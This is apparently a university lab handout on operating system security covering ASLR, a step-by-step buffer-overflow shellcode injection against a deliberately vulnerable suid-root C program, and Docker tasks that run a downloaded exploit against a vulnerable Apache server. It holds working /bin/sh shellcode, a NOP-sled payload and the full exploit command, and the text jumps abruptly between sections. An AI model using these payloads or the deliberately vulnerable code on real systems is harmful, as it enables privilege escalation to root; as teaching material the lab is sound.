# Lab 06 - Operating System Security

## Objectives

- Linux Protection Mechanisms (ASLR)
- Linux Kernel Namespaces, Linux Containers, Docker
- Exploit Mitigation

## ASLR

Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks. ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap, and libraries. In short, when ASLR is turned on, the addresses of the stack, etc will be randomized. This causes a lot of difficulty in predicting addresses while exploiting.

To disable ASLR:

```
echo "0" | [sudo] dd of=/proc/sys/kernel/randomize_va_space
```

To enable ASLR:

```
echo "2" | [sudo] dd of=/proc/sys/kernel/randomize_va_space
```

### Shellcode Injection

Scenario:

You have access to a system with an executable binary that is owned by root, has the suid bit set, and is vulnerable to buffer overflow. This section will show you step by step how to exploit it to gain shell access.

00. Setup

Create a user test without root privilages:

```
[sudo] adduser test
```

Create `vuln.c` in the home directory for `test` user, containing the following code:

```
#include <stdio.h>
#include <string.h>

void func(char *name)
{
    char buf[100];
    strcpy(buf, name);
    printf("Welcome %s\n", buf);
}

int main(int argc, char *argv[])
{
    func(argv[1]);
    return 0;
}
```

Compile it:

```
[sudo] gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack

-fno-stack-protector - disable the stack protection
-m32 - make sure that the compiled binary is 32 bit
-z execstack - makes the stack executable
```

**Note**: you might need to install `libc6-dev-i386`, `gcc-multilib` in order to use the `-m32` option.

Set the suid bit:

```
[sudo] chown root:test vuln
[sudo] chmod 550 vuln
[sudo] chmod u+s vuln
```

Turn off ASLR and then log into `test` user.

01. Finding a vulnerability

Disassemble using objdump in order to analyze the program:

```
objdump -d -M intel vuln
```

Looking at the disassembly of `func`, it can be observed that `buf` lies at `ebp - 0x6c`. Hence, 108 bytes are allocated for `buf` in the stack, the next 4 bytes would be the saved `ebp` pointer of the previous stack frame, and the next 4 bytes will be the return address.

What happens if the program receives as argument a buffer containing 116 As?

```
./vuln $(python -c 'print 116 * "A"')
```

Use `gdb` to discover the address where the program is crashing. What do you observe? Why is this happening?

**hint:** Check out PEDA [https://github.com/longld/peda]

02. Crafting Shellcode

We will create a shellcode that spawns a shell. First create shellcode.asm with the following code:

```
xor     eax, eax    ;Clearing eax register
push    eax         ;Pushing NULL bytes
push    0x68732f2f  ;Pushing //sh
push    0x6e69622f  ;Pushing /bin
mov     ebx, esp    ;ebx now has address of /bin//sh
push    eax         ;Pushing NULL byte
mov     edx, esp    ;edx now has address of NULL byte
push    ebx         ;Pushing address of /bin//sh
mov     ecx, esp    ;ecx now has address of address
                    ;of /bin//sh byte
mov     al, 11      ;syscall number of execve is 11
int     0x80        ;Make the system call
```

Compile it using nasm:

```
nasm -f elf shellcode.asm
```

Use objdump to get the shellcode bytes:

```
objdump -d -M intel shellcode.o
```

Extracting the bytes gives us the shellcode:

```
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
```

03. Finding a possible place to inject shellcode

In this example `buf` seems to be the perfect place to inject the shellcode above. We can insert the shellcode by passing it inside the first parameter while running `vuln`. But how do we know what address `buf` will be loaded in stack? That's where `gdb` will help us. As ASLR is disabled we are sure that no matter how many times the binary is run, the address of `buf` will not change.

Run `vuln` using `gdb`:

```
vampire@linux:/home/test$ gdb -q vuln
Reading symbols from vuln...(no debugging symbols found)...done.
(gdb) break func
Breakpoint 1 at 0x8048456
(gdb) run $(python -c 'print "A"*116')
Starting program: /home/test/vuln $(python -c 'print "A"*116')

Breakpoint 1, 0x08048456 in func ()
(gdb) print $ebp
$1 = (void *) 0xffffce78
(gdb) print $ebp - 0x6c
$2 = (void *) 0xffffce0c
```

The above commands set a breakpoint at the `func` function and the start the binary with a payload of length 116 as the argument. Printing the address `ebp - 0x6c` shows that `buf` was located at `0xffffce0c`. However this need not be the address of `buf` when we run the program outside of `gdb`. This is because things like environment variables and the name of the program along with arguments are also pushed on the stack. Although the stack starts at the same address (because of ASLR disabled), the difference in the method of running the program will result in the difference of the address of `buf`. This difference will be around a few bytes, but we will later demonstrate how to take care of it.

**Note**: The length of the payload will have an effect on the location of `buf` as the payload itself is also pushed on the stack (it is part of the arguments). We are using one of length 116, which will be the length of the final payload that we'll be passing.

04. Transfering execution flow of the program to the inserted shellcode

This is the easiest part. We have the shellcode in memory and know its address (with an error of a few bytes). We have already found out that `vuln` is vulnerable to buffer overflow and we can modify the return address for function `func`.

05. Crafting payload

Let's insert the shellcode at the end of the argument string so its address is equal to the address of buf + some length. Here's our shellcode:

```
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
```

Length of shellcode = 25 bytes

We also discovered that return address starts after the first 112 bytes of `buf`.

We'll fill the first 40 bytes with NOP instructions, constructing a NOP Sled.

**NOP Sled** is a sequence of NOP (no-operation) instructions meant to "slide" the CPU's instruction execution flow to its final, desired, destination whenever the program branches to a memory address anywhere on the sled. Basically, whenever the CPU sees a NOP instruction, it slides down to the next instruction.

The reason for inserting a NOP sled before the shellcode is that now we can transfer execution flow to anyplace within these 40 bytes. The processor will keep on executing the NOP instructions until it finds the shellcode. We need not know the exact address of the shellcode. This takes care of the earlier mentioned problem of not knowing the address of buf exactly.

We will make the processor jump to the address of `buf` (taken from gdb's output) + 20 bytes to get somewhere in the middle of the NOP sled.

```
0xffffce0c + 20 = 0xffffce20
```

We can fill the rest 47 (112 - 25 - 40) bytes with random data, say the 'A' character.

Final payload structure:

```
[40 bytes of NOP - sled] [25 bytes of shellcode] [47 times ‘A’ will occupy 49 bytes] [4 bytes pointing in the middle of the NOP - sled: 0xffffce20]
```

06. Running the exploit

```
test@linux ~ $ ./vuln $(python -c 'print "\x90"*40 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*47 + "\x20\xce\xff\xff"')
Welcome ������������������������������������������j
                        X�Rhn/shh//bi��RS��AAAA
```

- Run it! Use ”-p 8080:80” to forward the HTTP port (note: port 80 is already used by host's apache2).
- You should be able to access it using the virtual machine's IP address (try curl from fep).

3. Vulnerable Server (part 2)

- Run the vulnerable apache2 server using memory limit.
- Download this exploit [https://www.exploit-db.com/exploits/40909/] and run it.
- **WARNING:** Do not apply the exploit without the memory limitation! The virtual machine will freeze and you will need to reboot it!

- **Hint**: ”-m 128m” should be enough for everyone ;)
- **Hint**: Use “docker stats” to view the resource consumption of the containers in realtime
- **Hint**: You can use ”-d” to run the container in the background.
- Also check the output of “dmesg” and notice the apache2 processes that are killed by cgroups!

## 11. [10p] Feedback

Please take a minute to fill in the feedback form [https://forms.gle/5Lu1mFa63zptk2ox9] for this lab.

isc/labs/06.txt · Last modified: 2020/02/19 19:24 by mihai.chiroiu